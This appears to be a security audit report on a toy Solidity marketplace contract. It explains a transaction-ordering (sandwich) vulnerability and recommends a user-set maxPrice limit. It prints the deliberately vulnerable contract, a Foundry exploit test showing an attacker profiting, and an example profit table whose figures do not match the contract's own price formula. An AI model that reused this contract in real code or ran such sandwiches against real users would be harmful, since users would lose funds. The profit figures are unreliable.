

SECURITY AUDIT REPORT: CARMARKET PROTOCOL

PROJECT CarMarket Protocol

REPOSITORY <https://github.com/molalign8468/30-day-security-sprint>

COMMIT HASH a0827a500bf009d9833755c75d9020397703d85b

AUDIT DATE March 10, 2026

AUDITOR Molalign Getahun

Executive Summary

Status: **HIGH RISK**

The CarMarket contract contains High-severity vulnerability due to lacks Slippage Protection, allowing attackers to perform Sandwich Attacks via Transaction Order Dependence (TOD). Because the price is calculated at the exact moment of execution, an attacker can "cut the line" in the mempool, buy the asset first to pump the price, and force the victim to pay the higher amount. The attacker then sells immediately for a guaranteed profit.

Implement a User-Defined Price Limit (maxPrice). This acts as a "tripwire" that cancels the transaction if a bot tries to manipulate the price beyond the user's comfort zone. The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	0	-
High	1	Unresolved
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Day6_Front_Running.sol	Smart Contract	getPrice(),buyCar(),sellCar() and _transfer() functions logic

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Pattern analysis (SWC-114: Transaction Order Dependence)
- ✓ Foundry-based exploit testing and fuzzing

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk
Informational	Best practices

Findings Summary

ID	Severity	Title
HIGH-01	High	Transaction Order Dependence (TOD) via Sandwich Attack

Detailed Findings

[HIGH-01] Transaction Order Dependence (TOD) via Sandwich Attack

Severity: High

Location: Day6_Front_Running.sol:L4-L34

Reference: SWC-114 - Smart Contract Weakness Classification (SWC)

Description

The CarMarket contract is vulnerable to *Transaction Order Dependence (TOD)*. Because the buyCar and sellCar functions rely on a dynamic price formula ($\text{reserveBalance} / \text{carSupply}$) without any user-defined constraints, an attacker can manipulate the execution order of transactions to extract value from users.

The Ethereum Mempool is public. An attacker running a "Searcher" bot can identify a pending buyCar transaction and "sandwich" it by injecting two transactions:

- ✓ Front-run: A buy transaction with a higher gasPrice to inflate the price.
- ✓ Back-run: A sell transaction immediately after the victim's purchase to realize the profit.

Impact

- ✓ Users will consistently pay the maximum possible price allowed by their msg.value. In high-volume environments, this leads to a significant "Invisible Tax" on users, draining liquidity from the protocol and damaging the project's reputation.

Risk Evaluation

- ✓ **Impact:** High. Results in the direct theft of user funds. Every transaction can be "taxed" by an attacker, leading to financial loss and loss of trust in the protocol.
- ✓ **Likelihood:** The mempool is public. Professional bots scan for these mistakes 24/7. Since the attack is automated, it happens almost every time a large trade is made.
- ✓ **Overall Severity:** High.

Proof of Concept

Vulnerable Contract

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
```

```

contract CarMarket {
    uint256 public reserveBalance = 100 ether;
    uint256 public carSupply = 100;
    mapping(address => uint256) public carOwner;

    function getPrice() public view returns (uint256) {
        return reserveBalance / carSupply;
    }

    function buyCar() external payable {
        uint256 price = getPrice();
        require(msg.value >= price, "Not enough ETH");

        reserveBalance += price;
        carSupply -= 1;
        _transfer(msg.sender, 1);
    }

    function sellCar() external {
        uint256 price = getPrice();
        _transfer(address(this), 1);
        reserveBalance -= price;
        carSupply += 1;
        (bool ok,) = payable(msg.sender).call{value:price}("");
        require(ok);
    }

    function _transfer(address _owner,uint _amount) private {
        carOwner[_owner] += _amount;
    }
}

```

Exploit Test

```

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/Console.sol";
import {CarMarket} from "../src/Week1/Day6_Front_Running.sol";

contract CarMarketTest is Test {

```

```
CarMarket market;

address victim = address(0x1);
address attacker = address(0x2);

function setUp() external{
    market = new CarMarket();
    vm.deal(victim,10 ether);
    vm.deal(attacker,10 ether);
}

function test_SandwichAttack() external{
    uint256 attackerBalanceBefore = attacker.balance;

    // attacker buys first
    vm.prank(attacker);
    market.buyCar{value: 1 ether}();

    // victim buys at higher price
    vm.prank(victim);
    market.buyCar{value: 1.2 ether}();

    // attacker sells
    vm.prank(attacker);
    market.sellCar();
    uint256 attackerBalanceAfter = attacker.balance;

    assertGt(attackerBalanceAfter, attackerBalanceBefore);
}

function testFuzz_SandwichAttack(uint256 victimPayment) external {
    victimPayment = bound(victimPayment, 2 ether, 5 ether);

    uint256 before = attacker.balance;
    vm.prank(attacker);
    market.buyCar{value: 1 ether}();
    vm.prank(victim);
```

```

market.buyCar{value: victimPayment}();

vm.prank(attacker);

market.sellCar();

uint256 afterBalance = attacker.balance;

assertGt(afterBalance, before);
}
}

```

Example Profit Table

Step	Actor	ETH Spent	Price Paid	ETH Balance Change
1	Attacker	1 ETH	1 ETH	-1 ETH
2	Victim	1.2 ETH	1.2 ETH	-1.2 ETH
3	Attacker	0 ETH	1.2 ETH	+1.2 ETH
Net Profit	Attacker	-	-	+0.2 ETH

Recommendations

- ✓ Add maxPrice: Let the user tell the contract the highest price they are willing to pay.

```

function buyCar(uint256 maxPrice) external payable {
    uint256 currentPrice = getPrice();
    require(currentPrice <= maxPrice, "Price moved too much!");
    require(msg.value >= currentPrice, "Not enough ETH");

    reserveBalance += currentPrice;
    carSupply -= 1;
    _transfer(msg.sender, 1);
}

```

- ✓ Implement **Time-Weighted Average Price (TWAP)** for large trades
- ✓ Educate users to set **slippage limits**

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.